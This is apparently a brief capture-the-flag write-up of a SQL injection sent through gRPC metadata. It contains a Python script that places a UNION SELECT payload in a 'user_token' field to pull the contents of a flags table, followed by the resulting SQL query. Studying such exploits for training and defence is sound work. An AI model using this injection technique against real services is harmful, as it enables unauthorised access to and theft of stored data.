SQL Injection over gRPC:
```import grpcimport main_pb2import main_pb2_grpc
CON_STR = 'light.w-jp.cf:1004'
with grpc.insecure_channel(CON_STR) as channel:    stub = main_pb2_grpc.SrvStub(channel)    res = stub.GetLoginHistory(main_pb2.SrvRequest(), metadata=(('user_token', "')) UNION SELECT flag FROM flags-- "),))    print(res.ip)```
which results in the following SQL query being executed: ```SELECT ul.ip FROM `user_logs` AS `ul` WHERE (ul.user_id = (SELECT id FROM users AS u WHERE u.token = '')) UNION SELECT flag FROM flags-- '))```